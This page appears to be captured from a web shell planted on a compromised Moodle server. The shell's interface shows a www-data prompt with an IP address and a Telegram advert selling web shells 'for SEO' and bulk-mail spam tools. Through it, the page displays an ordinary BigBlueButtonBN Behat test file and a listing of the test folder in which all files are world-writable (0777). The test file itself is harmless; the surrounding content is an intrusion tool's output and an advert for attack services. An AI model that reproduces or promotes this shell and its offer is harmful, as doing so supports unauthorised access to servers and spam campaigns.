__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_bigbluebuttonbn @with_bbbext_simple
Feature: BigBlueButtonBN Subplugins test
  As a BigBlueButtonBN user
  I can list the subplugins the admin settings pages
  I can see the additional settings coming from the subplugins in the edit form

  Background:  Make sure that the BigBlueButtonBN plugin is enabled
    Given I enable "bigbluebuttonbn" "mod" plugin
    And the following "courses" exist:
      | fullname    | shortname   | category | enablecompletion |
      | Test course | Test course | 0        | 1                |
    And the following "activities" exist:
      | activity        | course      | name              | type |
      | bigbluebuttonbn | Test course | BBB Instance name | 0    |
    And the following config values are set as admin:
      | enableasyncbackup | 0 |

  Scenario: Add a subplugin and check that the settings are available
    Given I log in as "admin"
    When I navigate to "Plugins > Activity modules > BigBlueButton > Manage BigBlueButton extension plugins" in site administration
    Then I should see "Simple"

  Scenario: I check that new fields are available and editable in the instance edit form
    Given I am on the "BBB Instance name" "bigbluebuttonbn activity editing" page logged in as "admin"
    When I expand all fieldsets
    Then I should see "New field"

  @javascript
  Scenario: I check that new fields are available and when I edit the field the value is saved
    Given I am on the "BBB Instance name" "bigbluebuttonbn activity editing" page logged in as "admin"
    And I expand all fieldsets
    And I press "Save and display"
    And I expand all fieldsets
    And I should see "New field cannot be empty"
    And I set the field "New field" to "50"
    And I press "Save and display"
    And I am on the "BBB Instance name" "bigbluebuttonbn activity editing" page
    When I expand all fieldsets
    Then the following fields match these values:
      | New field | 50 |

  Scenario: I check that new fields are not available when subplugin is disabled
    Given I log in as "admin"
    And I navigate to "Plugins > Activity modules > BigBlueButton > Manage BigBlueButton extension plugins" in site administration
    And I click on "Disable" "link"
    And I am on the "BBB Instance name" "bigbluebuttonbn activity editing" page
    When I expand all fieldsets
    Then I should not see "New field"

  @javascript
  Scenario: I check that custom completion with subplugin works
    Given a BigBlueButton mock server is configured
    And the following config values are set as admin:
      | bigbluebuttonbn_meetingevents_enabled | 1 |
    And the following "users" exist:
      | username | firstname | lastname | email                 |
      | traverst | Terry     | Travers  | t.travers@example.com |
    And the following "course enrolments" exist:
      | user     | course      | role    |
      | traverst | Test course | student |
    And I am on the "BBB Instance name" "bigbluebuttonbn activity editing" page logged in as "admin"
    And I expand all fieldsets
    And I set the following fields to these values:
      | Add requirements | 1 |
      | Raise hand twice | 1 |
    And I set the field "New field" to "50"
    And I press "Save and display"
    # We start the meeting here so to make sure that meta_analytics-callback-url is set.
    And the following "mod_bigbluebuttonbn > meeting" exists:
      | activity | BBB Instance name |
    And I log out
    And I am on the "BBB Instance name" "bigbluebuttonbn activity" page logged in as "traverst"
    And I click on "Join session" "link"
    And I switch to "bigbluebutton_conference" window
    And I wait until the page is ready
    And I follow "End Meeting"
    And the BigBlueButtonBN server has received the following events from user "traverst":
      | instancename      | eventtype | eventdata |
      | BBB Instance name | raisehand | 1         |
      | BBB Instance name | raisehand | 1         |
    # Selenium driver does not like the click action to be done before we
    # automatically close the window so we need to make sure that the window
    # is closed before.
    And I close all opened windows
    And I switch to the main window
    And the BigBlueButtonBN activity "BBB Instance name" has sent recording all its events
    And I run all adhoc tasks
    When I reload the page
    Then I should see "Done: Raise hand twice in a meeting."

  @javascript
  Scenario: I check that custom events are triggered and sent to subplugin when enabled
    Given a BigBlueButton mock server is configured
    And the following config values are set as admin:
      | bigbluebuttonbn_meetingevents_enabled | 1 |
    And the following "users" exist:
      | username | firstname | lastname | email                 |
      | traverst | Terry     | Travers  | t.travers@example.com |
    And the following "course enrolments" exist:
      | user     | course      | role    |
      | traverst | Test course | student |
    And the following "mod_bigbluebuttonbn > meeting" exists:
      | activity | BBB Instance name |
    And I log out
    And I am on the "BBB Instance name" "bigbluebuttonbn activity" page logged in as "traverst"
    And I click on "Join session" "link"
    And I switch to "bigbluebutton_conference" window
    And I wait until the page is ready
    And I follow "End Meeting"
    And the BigBlueButtonBN server has received the following events from user "traverst":
      | instancename      | eventtype | eventdata |
      | BBB Instance name | chats     | 1         |
    # Selenium driver does not like the click action to be done before we
    # automatically close the window so we need to make sure that the window
    # is closed before.
    And I close all opened windows
    And I switch to the main window
    And the BigBlueButtonBN activity "BBB Instance name" has sent recording all its events
    And I log out
    And I log in as "admin"
    And I run all adhoc tasks
    When I am on fixture page "/mod/bigbluebuttonbn/tests/behat/fixtures/show_simpleplugin_values.php"
    Then I should see "(BBB Instance name): meetingevents: 1"

Filemanager

Name Type Size Permission Actions
fixtures Folder 0777
add_instance.feature File 2.57 KB 0777
add_instance_in_empty_state.feature File 2.36 KB 0777
behat_mod_bigbluebuttonbn.php File 10.28 KB 0777
bigbluebuttonbn_activity_availability.feature File 2.31 KB 0777
completion.feature File 3.48 KB 0777
edit_instance.feature File 3.06 KB 0777
end_meeting.feature File 4.45 KB 0777
group_mode.feature File 7.95 KB 0777
guest_access.feature File 4.28 KB 0777
join_meeting.feature File 2.97 KB 0777
join_meeting_as_guest.feature File 2.4 KB 0777
lock_settings.feature File 2.99 KB 0777
meeting_roles.feature File 1.78 KB 0777
recordings.feature File 3.85 KB 0777
recordings_import.feature File 6.96 KB 0777
roles.feature File 1.11 KB 0777
room.feature File 2.22 KB 0777
start_meeting.feature File 4.41 KB 0777
subplugins.feature File 5.99 KB 0777
view_presentation.feature File 2.96 KB 0777
Filemanager